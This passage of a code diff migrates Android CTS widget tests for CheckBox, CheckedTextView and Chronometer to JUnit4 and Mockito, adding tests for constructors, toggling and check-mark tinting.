+                android.R.style.Widget_DeviceDefault_Light_CompoundButton_CheckBox);
+        new CheckBox(mActivity, null, 0,
+                android.R.style.Widget_Material_CompoundButton_CheckBox);
+        new CheckBox(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_CompoundButton_CheckBox);
+    }
 
-        new CheckBox(mContext, mAttrSet, 0);
-        new CheckBox(mContext, mAttrSet);
-        new CheckBox(mContext);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new CheckBox(null);
+    }
 
-        try {
-            new CheckBox(null, null, -1);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new CheckBox(null, null);
+    }
 
-        try {
-            new CheckBox(null, null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new CheckBox(null, null, -1);
+    }
 
-        try {
-            new CheckBox(null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @UiThreadTest
+    @Test
+    public void testText() {
+        assertTrue(TextUtils.equals(
+                mActivity.getString(R.string.hello_world), mCheckBox.getText()));
+
+        mCheckBox.setText("new text");
+        assertTrue(TextUtils.equals("new text", mCheckBox.getText()));
+
+        mCheckBox.setText(R.string.text_name);
+        assertTrue(TextUtils.equals(mActivity.getString(R.string.text_name), mCheckBox.getText()));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessChecked() {
+        final CheckBox.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CheckBox.OnCheckedChangeListener.class);
+        mCheckBox.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mCheckBox.isChecked());
+
+        // not checked -> not checked
+        mCheckBox.setChecked(false);
+        verifyZeroInteractions(mockCheckedChangeListener);
+        assertFalse(mCheckBox.isChecked());
+
+        // not checked -> checked
+        mCheckBox.setChecked(true);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, true);
+        assertTrue(mCheckBox.isChecked());
+
+        // checked -> checked
+        mCheckBox.setChecked(true);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, true);
+        assertTrue(mCheckBox.isChecked());
+
+        // checked -> not checked
+        mCheckBox.setChecked(false);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, false);
+        assertFalse(mCheckBox.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testToggleViaApi() {
+        final CheckBox.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CheckBox.OnCheckedChangeListener.class);
+        mCheckBox.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mCheckBox.isChecked());
+
+        // toggle to checked
+        mCheckBox.toggle();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, true);
+        assertTrue(mCheckBox.isChecked());
+
+        // toggle to not checked
+        mCheckBox.toggle();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, false);
+        assertFalse(mCheckBox.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @Test
+    public void testToggleViaEmulatedTap() {
+        final CheckBox.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CheckBox.OnCheckedChangeListener.class);
+        mCheckBox.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mCheckBox.isChecked());
+
+        // tap to checked
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mCheckBox);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, true);
+        assertTrue(mCheckBox.isChecked());
+
+        // tap to not checked
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mCheckBox);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, false);
+        assertFalse(mCheckBox.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testToggleViaPerformClick() {
+        final CheckBox.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CheckBox.OnCheckedChangeListener.class);
+        mCheckBox.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mCheckBox.isChecked());
+
+        // click to checked
+        mCheckBox.performClick();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, true);
+        assertTrue(mCheckBox.isChecked());
+
+        // click to not checked
+        mCheckBox.performClick();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCheckBox, false);
+        assertFalse(mCheckBox.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CheckedTextViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/CheckedTextViewCtsActivity.java
index 52bef54..6423af0 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckedTextViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckedTextViewCtsActivity.java
@@ -16,17 +16,16 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.CheckedTextView;
 
 /**
- * A minimal application for CheckedTextView test.
+ * A minimal application for {@link CheckedTextView} test.
  */
 public class CheckedTextViewCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
index 039ca70..da31c2d 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckedTextViewTest.java
@@ -16,17 +16,25 @@
 
 package android.widget.cts;
 
-import android.os.Parcelable;
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.content.res.Resources;
+import android.content.res.ColorStateList;
 import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.PorterDuff;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
+import android.os.Parcelable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.view.View;
@@ -35,84 +43,92 @@
 import android.widget.CheckedTextView;
 import android.widget.ListAdapter;
 import android.widget.ListView;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 
-public class CheckedTextViewTest extends
-        ActivityInstrumentationTestCase2<CheckedTextViewCtsActivity> {
-    private Resources mResources;
-    private Activity mActivity;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CheckedTextViewTest {
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private ListView mListView;
+    private CheckedTextView mCheckedTextView;
 
-    public CheckedTextViewTest() {
-        super("android.widget.cts", CheckedTextViewCtsActivity.class);
+    @Rule
+    public ActivityTestRule<CheckedTextViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CheckedTextViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mListView = (ListView) mActivity.findViewById(R.id.checkedtextview_listview);
+        mCheckedTextView = (CheckedTextView) mActivity.findViewById(R.id.checkedtextview_test);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mResources = mActivity.getResources();
-    }
-
+    @Test
     public void testConstructor() {
-        new MockCheckedTextView(mActivity, null, 0);
-        new MockCheckedTextView(mActivity, null);
-        new MockCheckedTextView(mActivity);
-
-        try {
-            new MockCheckedTextView(null, null, -1);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new MockCheckedTextView(null, null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new MockCheckedTextView(null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        new CheckedTextView(mActivity);
+        new CheckedTextView(mActivity, null);
+        new CheckedTextView(mActivity, null, android.R.attr.checkedTextViewStyle);
+        new CheckedTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_CheckedTextView);
+        new CheckedTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_CheckedTextView);
+        new CheckedTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_CheckedTextView);
+        new CheckedTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_CheckedTextView);
     }
 
-    public void testChecked() {
-        final ListView lv = (ListView) mActivity.findViewById(R.id.checkedtextview_listview);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new CheckedTextView(null);
+    }
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                lv.setAdapter(new CheckedTextViewAdapter());
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new CheckedTextView(null, null);
+    }
 
-                lv.setChoiceMode(ListView.CHOICE_MODE_SINGLE);
-                lv.setItemChecked(1, true);
-            }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new CheckedTextView(null, null, -1);
+    }
+
+    @Test
+    public void testChecked() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mListView.setAdapter(new CheckedTextViewAdapter());
+
+            mListView.setChoiceMode(ListView.CHOICE_MODE_SINGLE);
+            mListView.setItemChecked(1, true);
         });
         mInstrumentation.waitForIdleSync();
 
-        assertEquals(1, lv.getCheckedItemPosition());
-        assertTrue(lv.isItemChecked(1));
-        assertFalse(lv.isItemChecked(0));
+        assertEquals(1, mListView.getCheckedItemPosition());
+        assertTrue(mListView.isItemChecked(1));
+        assertFalse(mListView.isItemChecked(0));
 
-        ListAdapter adapter = lv.getAdapter();
-        CheckedTextView view0 = (CheckedTextView) adapter.getView(0, null, null);
-        CheckedTextView view1 = (CheckedTextView) adapter.getView(1, null, null);
-        CheckedTextView view2 = (CheckedTextView) adapter.getView(2, null, null);
+        final ListAdapter adapter = mListView.getAdapter();
+        final CheckedTextView view0 = (CheckedTextView) adapter.getView(0, null, null);
+        final CheckedTextView view1 = (CheckedTextView) adapter.getView(1, null, null);
+        final CheckedTextView view2 = (CheckedTextView) adapter.getView(2, null, null);
         assertFalse(view0.isChecked());
         assertTrue(view1.isChecked());
         assertFalse(view2.isChecked());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                lv.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);
-                lv.setItemChecked(2, true);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mListView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);
+            mListView.setItemChecked(2, true);
         });
         mInstrumentation.waitForIdleSync();
         assertFalse(view0.isChecked());
@@ -127,58 +143,54 @@
         assertFalse(view2.isChecked());
     }
 
+    @UiThreadTest
+    @Test
     public void testToggle() {
-        CheckedTextView checkedTextView = new MockCheckedTextView(mActivity);
-        assertFalse(checkedTextView.isChecked());
+        assertFalse(mCheckedTextView.isChecked());
 
-        checkedTextView.toggle();
-        assertTrue(checkedTextView.isChecked());
+        mCheckedTextView.toggle();
+        assertTrue(mCheckedTextView.isChecked());
 
-        checkedTextView.toggle();
-        assertFalse(checkedTextView.isChecked());
+        mCheckedTextView.toggle();
+        assertFalse(mCheckedTextView.isChecked());
 
-        checkedTextView.setChecked(true);
-        checkedTextView.toggle();
-        assertFalse(checkedTextView.isChecked());
+        mCheckedTextView.setChecked(true);
+        mCheckedTextView.toggle();
+        assertFalse(mCheckedTextView.isChecked());
     }
 
+    @Test
     public void testDrawableStateChanged() {
         MockCheckedTextView checkedTextView = new MockCheckedTextView(mActivity);
 
-        checkedTextView.reset();
         assertFalse(checkedTextView.hasDrawableStateChanged());
         checkedTextView.refreshDrawableState();
         assertTrue(checkedTextView.hasDrawableStateChanged());
     }
 
-    public void testSetPadding() {
-        final CheckedTextView lv
-                = (CheckedTextView) mActivity.findViewById(R.id.checkedtextview_test);
-        assertNotNull(lv);
-
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                lv.setPadding(1, 2, 3, 4);
-                lv.requestLayout();
-            }
+    @Test
+    public void testSetPadding() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mListView.setPadding(1, 2, 3, 4);
+            mListView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
-        int origTop = lv.getPaddingTop();
-        int origBottom = lv.getPaddingBottom();
-        int origLeft = lv.getPaddingLeft();
-        int origRight = lv.getPaddingRight();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                lv.setPadding(10, 20, 30, 40);
-                lv.requestLayout();
-            }
+        final int origTop = mListView.getPaddingTop();
+        final int origBottom = mListView.getPaddingBottom();
+        final int origLeft = mListView.getPaddingLeft();
+        final int origRight = mListView.getPaddingRight();
+
+        mActivityRule.runOnUiThread(() -> {
+            mListView.setPadding(10, 20, 30, 40);
+            mListView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
-        assertTrue(origTop < lv.getPaddingTop());
-        assertTrue(origBottom < lv.getPaddingBottom());
-        assertTrue(origLeft < lv.getPaddingLeft());
-        assertTrue(origRight < lv.getPaddingRight());
+
+        assertTrue(origTop < mListView.getPaddingTop());
+        assertTrue(origBottom < mListView.getPaddingBottom());
+        assertTrue(origLeft < mListView.getPaddingLeft());
+        assertTrue(origRight < mListView.getPaddingRight());
     }
 
     private void cleanUpForceLayoutFlags(View view) {
@@ -188,124 +200,166 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testSetCheckMarkDrawableByDrawable() {
-        CheckedTextView checkedTextView;
         int basePaddingRight = 10;
 
         // set drawable when checkedTextView is GONE
-        checkedTextView = new MockCheckedTextView(mActivity);
-        checkedTextView.setVisibility(View.GONE);
-        Drawable firstDrawable = mResources.getDrawable(R.drawable.scenery);
+        mCheckedTextView.setVisibility(View.GONE);
+        final Drawable firstDrawable = mActivity.getDrawable(R.drawable.scenery);
         firstDrawable.setVisible(true, false);
         assertEquals(StateSet.WILD_CARD, firstDrawable.getState());
-        cleanUpForceLayoutFlags(checkedTextView);
+        cleanUpForceLayoutFlags(mCheckedTextView);
 
-        checkedTextView.setCheckMarkDrawable(firstDrawable);
-        assertEquals(firstDrawable.getIntrinsicWidth(), checkedTextView.getPaddingRight());
+        mCheckedTextView.setCheckMarkDrawable(firstDrawable);
+        assertEquals(firstDrawable.getIntrinsicWidth(), mCheckedTextView.getPaddingRight());
         assertFalse(firstDrawable.isVisible());
-        assertTrue(Arrays.equals(checkedTextView.getDrawableState(), firstDrawable.getState()));
-        assertTrue(checkedTextView.isLayoutRequested());
+        assertTrue(Arrays.equals(mCheckedTextView.getDrawableState(), firstDrawable.getState()));
+        assertTrue(mCheckedTextView.isLayoutRequested());
+
+        mCheckedTextView.setCheckMarkDrawable(null);
 
         // update drawable when checkedTextView is VISIBLE
-        checkedTextView = new MockCheckedTextView(mActivity);
-        checkedTextView.setVisibility(View.VISIBLE);
-        checkedTextView.setPadding(0, 0, basePaddingRight, 0);
-        Drawable secondDrawable = mResources.getDrawable(R.drawable.pass);
+        mCheckedTextView.setVisibility(View.VISIBLE);
+        mCheckedTextView.setPadding(0, 0, basePaddingRight, 0);
+        final Drawable secondDrawable = mActivity.getDrawable(R.drawable.pass);
         secondDrawable.setVisible(true, false);
         assertEquals(StateSet.WILD_CARD, secondDrawable.getState());
-        cleanUpForceLayoutFlags(checkedTextView);
+        cleanUpForceLayoutFlags(mCheckedTextView);
 
-        checkedTextView.setCheckMarkDrawable(secondDrawable);
+        mCheckedTextView.setCheckMarkDrawable(secondDrawable);
         assertEquals(secondDrawable.getIntrinsicWidth() + basePaddingRight,
-                checkedTextView.getPaddingRight());
+                mCheckedTextView.getPaddingRight());
         assertTrue(secondDrawable.isVisible());
-        assertTrue(Arrays.equals(checkedTextView.getDrawableState(), secondDrawable.getState()));
-        assertTrue(checkedTextView.isLayoutRequested());
+        assertTrue(Arrays.equals(mCheckedTextView.getDrawableState(), secondDrawable.getState()));
+        assertTrue(mCheckedTextView.isLayoutRequested());
 
-        cleanUpForceLayoutFlags(checkedTextView);
-        checkedTextView.setCheckMarkDrawable(null);
-        assertEquals(basePaddingRight, checkedTextView.getPaddingRight());
-        assertTrue(checkedTextView.isLayoutRequested());
+        cleanUpForceLayoutFlags(mCheckedTextView);
+        mCheckedTextView.setCheckMarkDrawable(null);
+        assertEquals(basePaddingRight, mCheckedTextView.getPaddingRight());
+        assertTrue(mCheckedTextView.isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetCheckMarkDrawableById() {
-        CheckedTextView checkedTextView;
         int basePaddingRight = 10;
 
         // set drawable
-        checkedTextView = new MockCheckedTextView(mActivity);
-        checkedTextView.setPadding(0, 0, basePaddingRight, 0);
-        Drawable firstDrawable = mResources.getDrawable(R.drawable.scenery);
-        cleanUpForceLayoutFlags(checkedTextView);
+        mCheckedTextView.setPadding(0, 0, basePaddingRight, 0);
+        Drawable firstDrawable = mActivity.getDrawable(R.drawable.scenery);
+        cleanUpForceLayoutFlags(mCheckedTextView);
 
-        checkedTextView.setCheckMarkDrawable(R.drawable.scenery);
+        mCheckedTextView.setCheckMarkDrawable(R.drawable.scenery);
         assertEquals(firstDrawable.getIntrinsicWidth() + basePaddingRight,
-                checkedTextView.getPaddingRight());
-        assertTrue(checkedTextView.isLayoutRequested());
+                mCheckedTextView.getPaddingRight());
+        assertTrue(mCheckedTextView.isLayoutRequested());
 
         // set the same drawable again
-        cleanUpForceLayoutFlags(checkedTextView);
-        checkedTextView.setCheckMarkDrawable(R.drawable.scenery);
+        cleanUpForceLayoutFlags(mCheckedTextView);
+        mCheckedTextView.setCheckMarkDrawable(R.drawable.scenery);
         assertEquals(firstDrawable.getIntrinsicWidth() + basePaddingRight,
-                checkedTextView.getPaddingRight());
-        assertFalse(checkedTextView.isLayoutRequested());
+                mCheckedTextView.getPaddingRight());
+        assertFalse(mCheckedTextView.isLayoutRequested());
 
         // update drawable
-        Drawable secondDrawable = mResources.getDrawable(R.drawable.pass);
-        checkedTextView.setCheckMarkDrawable(secondDrawable);
+        final Drawable secondDrawable = mActivity.getDrawable(R.drawable.pass);
+        mCheckedTextView.setCheckMarkDrawable(secondDrawable);
         assertEquals(secondDrawable.getIntrinsicWidth() + basePaddingRight,
-                checkedTextView.getPaddingRight());
-        assertTrue(checkedTextView.isLayoutRequested());
+                mCheckedTextView.getPaddingRight());
+        assertTrue(mCheckedTextView.isLayoutRequested());
+
+        mCheckedTextView.setCheckMarkDrawable(null);
 
         // resId is 0
-        checkedTextView = new MockCheckedTextView(mActivity);
-        checkedTextView.setPadding(0, 0, basePaddingRight, 0);
-        cleanUpForceLayoutFlags(checkedTextView);
+        mCheckedTextView.setPadding(0, 0, basePaddingRight, 0);
+        cleanUpForceLayoutFlags(mCheckedTextView);
 
-        checkedTextView.setCheckMarkDrawable(0);
-        assertEquals(basePaddingRight, checkedTextView.getPaddingRight());
-        assertFalse(checkedTextView.isLayoutRequested());
+        mCheckedTextView.setCheckMarkDrawable(0);
+        assertEquals(basePaddingRight, mCheckedTextView.getPaddingRight());
+        assertFalse(mCheckedTextView.isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetCheckMarkByMixedTypes() {
-        CheckedTextView checkedTextView = new MockCheckedTextView(mActivity);
-        cleanUpForceLayoutFlags(checkedTextView);
+        cleanUpForceLayoutFlags(mCheckedTextView);
 
         // Specifically test for b/22626247 (AOSP issue 180455).
-        checkedTextView.setCheckMarkDrawable(R.drawable.scenery);
-        checkedTextView.setCheckMarkDrawable(null);
-        checkedTextView.setCheckMarkDrawable(R.drawable.scenery);
-        assertNotNull(checkedTextView.getCheckMarkDrawable());
+        mCheckedTextView.setCheckMarkDrawable(R.drawable.scenery);
+        mCheckedTextView.setCheckMarkDrawable(null);
+        mCheckedTextView.setCheckMarkDrawable(R.drawable.scenery);
+        assertNotNull(mCheckedTextView.getCheckMarkDrawable());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessInstanceState() {
-        CheckedTextView checkedTextView = new MockCheckedTextView(mActivity);
-        Parcelable state;
+        assertFalse(mCheckedTextView.isChecked());
+        assertFalse(mCheckedTextView.getFreezesText());
 
-        assertFalse(checkedTextView.isChecked());
-        assertFalse(checkedTextView.getFreezesText());
-
-        state = checkedTextView.onSaveInstanceState();
+        final Parcelable state = mCheckedTextView.onSaveInstanceState();
         assertNotNull(state);
-        assertFalse(checkedTextView.getFreezesText());
+        assertFalse(mCheckedTextView.getFreezesText());
 
-        checkedTextView.setChecked(true);
+        mCheckedTextView.setChecked(true);
 
-        checkedTextView.onRestoreInstanceState(state);
-        assertFalse(checkedTextView.isChecked());
-        assertTrue(checkedTextView.isLayoutRequested());
+        mCheckedTextView.onRestoreInstanceState(state);
+        assertFalse(mCheckedTextView.isChecked());
+        assertTrue(mCheckedTextView.isLayoutRequested());
     }
 
-    public void testOnDraw() {
-        // Do not test. Implementation details.
-    }
+    @Test
+    public void testCheckMarkTinting() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mCheckedTextView.setChecked(true));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mCheckedTextView,
+                () -> mCheckedTextView.setCheckMarkDrawable(R.drawable.icon_red));
 
-    public void testOnCreateDrawableState() {
-        // Do not test. Implementation details.
+        Drawable checkMark = mCheckedTextView.getCheckMarkDrawable();
+        TestUtils.assertAllPixelsOfColor("Initial state is red", checkMark,
+                checkMark.getBounds().width(), checkMark.getBounds().height(), false,
+                Color.RED, 1, true);
+
+        // With SRC_IN we're expecting the translucent tint color to "take over" the
+        // original red checkmark.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mCheckedTextView, () -> {
+            mCheckedTextView.setCheckMarkTintMode(PorterDuff.Mode.SRC_IN);
+            mCheckedTextView.setCheckMarkTintList(ColorStateList.valueOf(0x8000FF00));
+        });
+
+        assertEquals(PorterDuff.Mode.SRC_IN, mCheckedTextView.getCheckMarkTintMode());
+        assertEquals(0x8000FF00, mCheckedTextView.getCheckMarkTintList().getDefaultColor());
+        checkMark = mCheckedTextView.getCheckMarkDrawable();
+        TestUtils.assertAllPixelsOfColor("Expected 50% green", checkMark,
+                checkMark.getIntrinsicWidth(), checkMark.getIntrinsicHeight(), false,
+                0x8000FF00, 1, true);
+
+        // With SRC_OVER we're expecting the translucent tint color to be drawn on top
+        // of the original red checkmark, creating a composite color fill as the result.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mCheckedTextView,
+                () -> mCheckedTextView.setCheckMarkTintMode(PorterDuff.Mode.SRC_OVER));
+
+        assertEquals(PorterDuff.Mode.SRC_OVER, mCheckedTextView.getCheckMarkTintMode());
+        assertEquals(0x8000FF00, mCheckedTextView.getCheckMarkTintList().getDefaultColor());
+        checkMark = mCheckedTextView.getCheckMarkDrawable();
+        TestUtils.assertAllPixelsOfColor("Expected 50% green over full red", checkMark,
+                checkMark.getIntrinsicWidth(), checkMark.getIntrinsicHeight(), false,
+                TestUtils.compositeColors(0x8000FF00, Color.RED), 1, true);
+
+        // Switch to a different color for the underlying checkmark and verify that the
+        // currently configured tinting (50% green overlay) is still respected
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mCheckedTextView,
+                () -> mCheckedTextView.setCheckMarkDrawable(R.drawable.icon_yellow));
+        assertEquals(PorterDuff.Mode.SRC_OVER, mCheckedTextView.getCheckMarkTintMode());
+        assertEquals(0x8000FF00, mCheckedTextView.getCheckMarkTintList().getDefaultColor());
+        checkMark = mCheckedTextView.getCheckMarkDrawable();
+        TestUtils.assertAllPixelsOfColor("Expected 50% green over full yellow", checkMark,
+                checkMark.getIntrinsicWidth(), checkMark.getIntrinsicHeight(), false,
+                TestUtils.compositeColors(0x8000FF00, Color.YELLOW), 1, true);
     }
 
     private static final class MockCheckedTextView extends CheckedTextView {
-        private boolean mHasRefreshDrawableState = false;
         private boolean mHasDrawableStateChanged = false;
 
         public MockCheckedTextView(Context context) {
@@ -320,10 +374,6 @@
             super(context, attrs, defStyle);
         }
 
-        public static int[] getSuperViewStateSet() {
-            return ENABLED_STATE_SET;
-        }
-
         @Override
         protected void drawableStateChanged() {
             super.drawableStateChanged();
@@ -340,24 +390,9 @@
             super.onDraw(canvas);
         }
 
-        @Override
-        public void refreshDrawableState() {
-            mHasRefreshDrawableState = true;
-            super.refreshDrawableState();
-        }
-
-        public boolean hasRefreshDrawableState() {
-            return mHasRefreshDrawableState;
-        }
-
         public boolean hasDrawableStateChanged() {
             return mHasDrawableStateChanged;
         }
-
-        public void reset() {
-            mHasRefreshDrawableState = false;
-            mHasDrawableStateChanged = false;
-        }
     }
 
     private class CheckedTextViewAdapter extends BaseAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/ChronometerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ChronometerCtsActivity.java
index 7925b49..affe740 100644
--- a/tests/tests/widget/src/android/widget/cts/ChronometerCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ChronometerCtsActivity.java
@@ -16,11 +16,11 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.ViewGroup;
 import android.widget.Chronometer;
+import android.widget.cts.R;
 
 public class ChronometerCtsActivity extends Activity {
 
diff --git a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
index ff1435f..2ff415f 100644
--- a/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ChronometerTest.java
@@ -16,28 +16,53 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
 
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ContextThemeWrapper;
 import android.widget.Chronometer;
-import android.widget.Chronometer.OnChronometerTickListener;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Chronometer}.
  */
-public class ChronometerTest extends ActivityInstrumentationTestCase2<ChronometerCtsActivity> {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ChronometerTest {
+    private Instrumentation mInstrumentation;
     private ChronometerCtsActivity mActivity;
-    public ChronometerTest() {
-        super("android.widget.cts", ChronometerCtsActivity.class);
+
+    @Rule
+    public ActivityTestRule<ChronometerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ChronometerCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    @UiThreadTest
+    @Test
     public void testConstructor() {
         new Chronometer(mActivity);
 
@@ -46,36 +71,50 @@
         new Chronometer(mActivity, null, 0);
     }
 
+    @Test
+    public void testConstructorFromAttr() {
+        final Context context = new ContextThemeWrapper(mActivity, R.style.ChronometerAwareTheme);
+        final Chronometer chronometer = new Chronometer(context, null, R.attr.chronometerStyle);
+        assertTrue(chronometer.isCountDown());
+        assertEquals(mActivity.getString(R.string.chronometer_format), chronometer.getFormat());
+    }
+
+    @Test
+    public void testConstructorFromStyle() {
+        final Chronometer chronometer = new Chronometer(mActivity, null, 0,
+                R.style.ChronometerStyle);
+        assertTrue(chronometer.isCountDown());
+        assertEquals(mActivity.getString(R.string.chronometer_format), chronometer.getFormat());
+    }
+
     @UiThreadTest
+    @Test
     public void testAccessBase() {
         Chronometer chronometer = mActivity.getChronometer();
         CharSequence oldText = chronometer.getText();
 
-        int expected = 100000;
-        chronometer.setBase(expected);
-        assertEquals(expected, chronometer.getBase());
+        chronometer.setBase(100000);
+        assertEquals(100000, chronometer.getBase());
         assertNotSame(oldText, chronometer.getText());
 
-        expected = 100;
         oldText = chronometer.getText();
-        chronometer.setBase(expected);
-        assertEquals(expected, chronometer.getBase());
